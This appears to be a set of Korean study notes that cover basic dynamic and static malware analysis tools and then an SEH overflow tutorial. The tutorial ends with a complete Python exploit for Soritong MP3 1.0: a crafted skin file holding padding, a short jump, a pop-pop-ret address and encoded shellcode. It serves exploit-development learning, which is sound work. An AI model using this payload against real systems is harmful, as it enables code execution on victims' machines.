1 기초 동적 분석

동적 분석은 악성코드를 실행시켜 어떤 행위를 하는지 모니터링 하는 행위이다. 동적 분석은 정적 분석 이후 좀 더 자세한 분석을 위해서거나 패킹되어 있어 정적 분석으로 특별한 정보를 얻을 수 없을 때 수행한다. 여기선 기초 동적 분석과정을 다룰 텐데, 어셈블리를 분석하지 않고 그냥 모니터링 하는 방법을 설명하겠다. IDA로 어셈을 분석하는 부분은 고급 동적 분석부분에서 설명한다.

1 샌드박스
가상환경을 이용하여 실제 시스템의 감염 위험을 줄여 테스트한다. GFI 샌드박스, 아누비스, 죠 샌드박스 등이 있는데 이런 샌드박스는 해당 웹사이트에 악성코드를 보내기만 하면 이해하기 쉬운 형태로 결과를 제공해 초기 분류를 용이하게 한다.
하지만 단점도 존재하는데, 악성코드가 샌드박스 OS에선 동작하지 않는다거나, VM을 탐지해 다른 방식으로 동작한다거나 할 가능성이 있어 샌드박스의 리포트를 너무 믿어선 안된다.

2 악성코드 DLL실행
rundll32.exe툴을 이용하거나 PE 파일헤더의 Characteristics필드를 수정하여 실행파일로 인식하도록 하고, 실행시킨다. PE를 수정해 실행했을 땐, DllMain부분만 실행 되지만, 만약 dllmain부분에서 주요한 악성행위가 일어난다면 분석하기엔 충분하다.

3 프로세스 모니터를 통한 모니터링
Process Monitor 또는 ProcMon는 특정 레지스트리, 파일 시스템, 네트워크, 프로세스와 스레드 행위를 모니터링 할 수 있는 툴이다. ProcMon은 윈도우 시스템콜을 모두 감시한다.

4 프로세스 익스플로러
활성화된 프로세스, 프로세스가 로딩한 DLL 등 다양한 프로세스 특성과 전반적인 시스템 정보를 볼 수 있다. 프로세스명을 더블클릭하면 Properties창이 뜨는데 Image탭에서 Verify옵션은 디스크상의 이미지가 마이크로소프트에서 서명한 바이너리인지 검증할 수 있다. 하지만 메모리 상의 이미지가 아니라 디스크상의 이미지를 검증하므로 완전히 신뢰할 수 없다.

5 Regshot을 이용한 레지스트리 스냅샷 비교
악성코드를 실행시키기 전에 레지스터의 스냅샷을 찍고 실행시키고 난 후 스냅샷을 찍어 두 개의 스냅샷을 비교한다.

6 ApateDNS + netcat or 와이어샤크
악성코드가 C&C서버로 접속하기 위해 DNS쿼리를 날리는데 이 때, 우린 ApateDNS로 가상로컬DNS서버를 설치하여 DNS질의를 받는다. IP를 설정하면 우리가 자체적으로 설치한 웹 서버로 DNS응답패킷을 보낼 수 있다. 즉, DNS서버를 리다이렉션한 다음 와이어샤크나 넷캣을 이용해 패킷을 분석할 수 있다.

7 INetSim
INetSim은 인터넷 서비스를 제공하는 리눅스 기반의 소프트웨어 모음이다. INetSim은 HTTP, HTTPS, FTP, IRC, DNS등과 같은 서비스를 에뮬레이션해 악성코드 샘플의 네트워크 행위를 분석할 수 있다.

2 도구 활용

지금까지 살펴본 툴들을 어떻게 활용하는 지 알아보자.

1. ProcMon을 실행해 악성코드명으로 필터를 설정한다.(시스템콜 확인)
2. 프로세스 익스플로러를 시작한다.(프로세스 확인)
3. RegShot을 이용해 레지스터의 첫 스냅샷을 수집한다.(레지스터 변경 확인)
4. ApteDNS와 INetSim을 사용해 네트워크환경을 구성한다. (네트워크 활동 확인)
5. 와이어샤크로 트래픽을 로깅한다.(네트워크 활동 분석)

1 기초 정적분석

실행하지 않고 간단하게 파일이 악성코드인지 아닌지 판단하는 방법이다. 다음과 같은 방법들이 있다.

1. 바이러스 토탈을 이용한다.
http://www.virustotal.com/에 접속하여 스캐닝 해본다.

2. 해시
만약 두개의 파일의 해시값이 같다면 두 파일은 완전한 동일한 파일이라는 의미가 된다. 따라서 파일의 해시값을 구해 인터넷에서 확인해 보고 다운로드 받은 파일이 정상적인 파일인지 확인하는 방법이 있다.

3. 문자열 확인
문자열을 확인하여 대략적으로 악성코드가 어떤 일을 하는지 파악 할 수 있다. 예를 들면 IP주소가 적히고 메일시스템 관련 Dll이 로드되어 있다면, 스팸메일을 보내는 악성코드 일 가능성이 높다가 추측할 수 있다.

(strings툴로 확인하였다.)

4. 패킹유무 확인
패킹이 되어있다고 해서 악성코드 인 것은 아니지만, 의심해 볼만하긴 하다. PEiD나 ExeInfoPE등의 툴을 이용해서 패킹을 확인 해 본다.

5. PE구조 분석
어떤 DLL을 이용해 어떤 함수들이 임포트 되어 있는지 확인한다. 물론, 악성파일이 분석가들을 혼돈시키기 위하여 쓸데없는 함수들을 전부 로드시킬 수 있지만, 정적분석으로써의 가치는 지닌다. 이 때, Dependency Walker프로그램을 이용해 임포트된 함수들을 더욱 편리하게 확인 할 수 있다.

1 SEH 오버플로 개요

일단 예외처리를 프로그램에서 했을 때, 스택상에서 어떻게 SEH가 어디에 위치하는지 간략하게 그림으로 확인해 보자.

이 정도만 보아도 대충 어떻게 Seh를 공격벡터로 이용하는지 입질이 슬슬 온다. 대충 오버플로 일으켜서 예외처리기 주소값에 쉘코드의 주소값을 넣은 후, 의도적으로 예외상황을 만들면 예외 핸들러주소 값으로 점프하게 되는데 그럼 쉘코드가 있는곳으로 eip가 조작되어 공격 성공하게 된다.

참고로 기본 seh 구동 메커니즘을 설명하자면, 오류가 발생되면 os는 해당 어플리케이션에서 TEB의 첫번째 요소(FS:[0])를 찾아 예외 핸들러의 주소값을 찾는다.( TEB는 쓰레드당 각각 하나씩 가지고 있는 블락이다. TEB가 PEB에 속하기 때문이다. 이에 대해 좀더 깊게 이해하려면 os커널에 대한 기본지식이 필요하기 때문에 os관련 서적을 참고하기 바란다.) 그러나 예외상황을 만족하는 예외 핸들러의 주소값이 없다면, os는 자체적인 예외처리를 하는데 프로그램을 종료시키는 것이다.

2 주의점

1 window xp sp1이후
예외핸들러가 실행되기 전에 모든 레지스터들이 xor연산되어 핸들러가 실행된다. 따라서 공격 페이로드를 작성할 시 주의하여야 한다.

2 window xp sp2이후
DEP와 스택쿠키가 도입되어 이 또한 유의하여야 한다.

3 safeSEH
컴파일 시 /SafeSEH옵션을 주면 활성화 되는데, seh공격을 막기위한 추가적인 보호 매커니즘이다.

3 기법 우회

DEP와 스택쿠키는 다음에 얘기할 기회가 있을 것이다. 우선 지금은 SafeSEH와 레지스터 xor연산 하는 것을 우회할 것이다. 그 방법은, 예외 핸들러가 실행 될 때 넘어가는 두번 째 인자가 다음 예외 핸들러의 주소값을 나타 낸다는 것이다. 우선 예외 핸들러가 등록됬을 때 어떻게 되는지 확인 해 보자.

위 글을 잘 읽어보면 이해가 갈 것이다. 의도적으로 예외를 발생 시키고, 예외 핸들러는 pop, pop, ret을 실행한다. 그 때, 처음에서 esp+8 부분이 다음 seh레코드 주소를 가르키는데, 이 부분으로 점프하게 된다. 그렇다면 다음 SEH레코드 부분에 우리의 쉘코드가 위치한 주소값을 넣어놓으면, 공격이 성공하게 된다.

4 실습

그럼 지금까지 살펴 본 내용들을 Soritong mp3 1.0을 활용한 실습을 통해 알아 보자.

이 프로그램은 Skin파일을 불러올 때 오버플로우 취약점이 존재한다. 따라서 다음과 같이 코드를 짜서 UI.txt를 /Skin/Default에 넣자.

f = open("UI.txt","w")
junk = "A"*5000
f.write(junk)
print("write success!")
f.close

그리고 실행시키면 SEH까지 덮어버렸기 때문에 아무 반응 없이 종료될 것이다.

그럼 올리디버거를 이용해 확인 해 보자.

SEH가 덮혀서 eip가 바뀐 것을 확인 할 수 있다.

이번엔 winDbg로 확인해 보자.

에러가 뜬다. 정확한 분석을 위해 !analyze -v명령어를 통해 자세히 알아보자.

예외처리가 0xffffffff 부분에서 이루어 졌다. 그 말은 오버플로우 처리가 OS 예외핸들러에 의해 처리 되었다는 말이다. 그럼, 어플리케이션 예외처리 루틴은 없었나 확인해 보기 위해 TEB덤프를 떠보자.

12fd64가 첫 번째 SEH이다. 결국 어플리케이션 계층의 seh핸들러가 존재 하였고, 이 부분이 AAAA로 덮였기 때문에 OS의 SEH가 실행된 것이라 생각할 수 있다.

자, 지금까지 이 프로그램이 SEH공격이 가능한지 여부를 살펴 보았고 가능하다는 결론을 얻었으므로, 우리에게 필요한 정보는 seh까지의 오프셋과 셸코드가 필요하다. 그 다음엔 [A junk][nSEH](이 부분은 셸코드로 점프하는 코드가 들어간다)[seh handler](pop pop ret)[Shell code]로 페이로드를 작성하면 끝이다.

그럼 앞에서도 살펴 보았듯이 메타스플로잇을 이용해 패턴을 만들고 seh의 오프셋을 확인한다.

41367441은 리틀엔디안으로 표현하면 41 47 36 41이고 아스키코드로 표현하면 At6A이다 그러므로 오프셋을 확인해 보면 588임을 알 수 있다. 따라서 A를 584개를 넣으면 된다.

다음 nSEH부분은 대충 nSEH에서 6byte만큼 jmp하면 셸코드에 도달하므로 그에 맞는 어셈블리를 짜서 확인해 보면 0xeb, 0x06, 0x90, 0x90이 된다.

이제 남은 부분은 SEH핸들러 부분인데 pop pop ret부분을 확인한다.

Dll도 어플리케이션에 종속적인 걸 이용한다. OS에 종속적인 kernel32.dll등을 이용하면 다른 OS버전에선 로드메모리가 다르게 올라 갈 수 있으므로 그렇다. 물론 어플리케이션 dll도 100%확실한 공격이 되는건 아닌데, 그나마 안정적이다.

0x100106fb부분을 이용하기로 한다.

다음과 같이 코드를 짠다..

import struct
f =open("UI.txt","w")
junk ="A"*584
nSEH ="\xeb\x06\x90\x90"
SEH= struct.pack('<I',0x100106fb)
SHELL ="\x90"*25+"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
		 "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
                 "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
                 "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
                 "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
                 "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
                 "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
                 "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
                 "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
                 "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
                 "\x7f\xe8\x7b\xca"
junk2 = "A"*1500
f.write(junk + nSEH + SEH + SHELL+junk2)
f.close

끝..!